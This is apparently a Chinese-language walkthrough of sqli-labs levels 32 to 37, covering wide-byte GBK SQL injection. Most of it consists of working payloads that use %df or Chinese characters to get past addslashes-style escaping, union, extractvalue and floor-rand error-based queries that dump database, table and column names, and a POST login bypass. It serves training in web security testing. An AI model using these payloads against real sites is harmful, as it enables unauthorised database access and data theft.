宽字节条件:前端UTF-8,数据库GBK,在特殊字符前加反斜杠转义。
利用方法:在注入语句的特殊字符前加%df消除反斜杠。
第三十二关
宽字节注入,单引号闭合。
数据库:
?id=1.1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
数据表:
?id=1.1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
这里再多说一下字段名,因为查询字段的时候要有where table_name=’user’,注意,user用引号括起来,但是会被转义:
加%df消除括号呢:
2.png
还是不行,因为没有表叫user�\。所以这里要把表名转换成16进制进行绕过(转换之前不用加引号,只转换表名就好了),然后写注入语句的时候在16进制的表名前再加个0x,user转换成16进制是75736572。
字段名:
?id=1.1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x75736572 --+
第三十三关
做法和32关完全一样,也是单引号闭合。32和33有什么区别呢?32关在特殊字符前加反斜杠是使用正则表达式实现的,33关是使用addslashes()函数实现的。
4.png
数据库名:
?id=1.1%df' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e) ) --+
字段名:
?id=1.1%df' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572),0x7e) ) --+
第三十四关
这是个POST表单,万能密码,依然用%df消除反斜杠。
5.png
发现并没有消除反斜杠,抓个包看一下:
6.png
这里不能用%df消除反斜杠了,尝试用汉字消除反斜杠试试:
7.png
发现汉字可以,接下来的方法就和POST注入一样了。
数据库名:
uname=桑' and extractvalue(1,concat(0x7e,(select database()),0x7e)) #&passwd=&submit=Submit
字段名:
uname=桑' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x75736572 #&passwd=&submit=Submit
第三十五关
整数型,不用闭合直接注入。
数据库名:
?id=1.1 union select 1,count(*),concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),floor(rand(14)*2),0x7e)a from information_schema.tables group by a --+
字段名:
?id=1.1 union select 1,count(*),concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572),floor(rand(14)*2),0x7e)a from information_schema.tables group by a --+
第三十六关
使用了mysql_real_escape_string()函数,多过滤一些东西,但是对于注入语句来说没什么影响,和32关做法一模一样,单引号闭合,注入语句都一样。
10.png
第三十七关
36关的POST形式,同样使用mysql_real_escape_string()函数过滤,不过同样对于我们的注入语句没什么影响。单引号闭合,%df不能消除反斜杠,还是要用汉字,参考第34关,注入语句一模一样。
网友评论